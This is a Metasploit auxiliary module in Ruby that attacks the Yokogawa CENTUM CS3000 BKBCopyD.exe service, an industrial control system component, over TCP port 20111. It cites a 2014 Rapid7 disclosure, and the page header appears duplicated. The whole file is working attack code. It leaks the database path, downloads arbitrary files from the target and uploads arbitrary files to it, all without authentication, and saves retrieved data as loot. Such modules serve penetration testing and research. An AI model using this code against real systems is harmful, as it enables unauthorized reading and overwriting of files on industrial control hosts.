129 lines
3.5 KiB
Ruby
129 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::TcpServer
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Yokogawa BKBCopyD.exe Client',
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'Description' => %q{
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This module allows an unauthenticated user to interact with the Yokogawa
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CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR
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operations.
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},
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'Author' =>
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[ 'Unknown' ],
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'References' =>
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[
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[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access']
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],
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'Actions' =>
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[
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['PMODE', { 'Description' => 'Leak the current database' }],
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['RETR', { 'Description' => 'Retrieve remote file' }],
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['STOR', { 'Description' => 'Store remote file' }]
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],
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'DisclosureDate' => 'Aug 9 2014',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(20111),
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OptString.new('RPATH', [ false, 'The Remote Path (required to RETR and STOR)', "" ]),
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OptPath.new('LPATH', [ false, 'The Local Path (required to STOR)' ])
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])
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end
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def srvport
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@srvport
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end
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def run
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exploit
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end
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def exploit
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@srvport = rand(1024..65535)
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print_status("#{@srvport}")
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# We make the client connection before giving control to the TCP Server
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# in order to release the src port, so the server can start correctly
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case action.name
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when 'PMODE'
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print_status("Sending PMODE packet...")
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data = "PMODE MR_DBPATH\n"
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res = send_pkt(data)
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if res and res =~ /^210/
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print_good("Success: #{res}")
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else
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print_error("Failed...")
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end
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return
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when 'RETR'
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data = "RETR #{datastore['RPATH']}\n"
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print_status("Sending RETR packet...")
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res = send_pkt(data)
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return unless res and res =~ /^150/
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when 'STOR'
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data = "STOR #{datastore['RPATH']}\n"
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print_status("Sending STOR packet...")
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res = send_pkt(data)
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return unless res and res =~ /^150/
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else
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print_error("Incorrect action")
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return
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end
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super # TCPServer :)
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end
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def send_pkt(data)
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connect(true, {'CPORT' => @srvport})
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sock.put(data)
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data = sock.get_once
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disconnect
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return data
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end
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def valid_response?(data)
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return false unless !!data
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return false unless data =~ /500 'yyparse error': command not understood/
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return true
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end
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def on_client_connect(c)
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if action.name == 'STOR'
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contents = ""
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File.new(datastore['LPATH'], "rb") { |f| contents = f.read }
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print_status("#{c.peerhost} - Sending data...")
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c.put(contents)
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self.service.close
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self.service.stop
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end
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end
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def on_client_data(c)
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print_status("#{c.peerhost} - Getting data...")
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data = c.get_once
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return unless data
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if @store_path.blank?
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@store_path = store_loot("yokogawa.cs3000.file", "application/octet-stream", rhost, data, datastore['PATH'])
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print_good("#{@store_path} saved!")
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else
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File.open(@store_path, "ab") { |f| f.write(data) }
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print_good("More data on #{@store_path}")
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end
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end
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def on_client_close(c)
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stop_service
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end
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end
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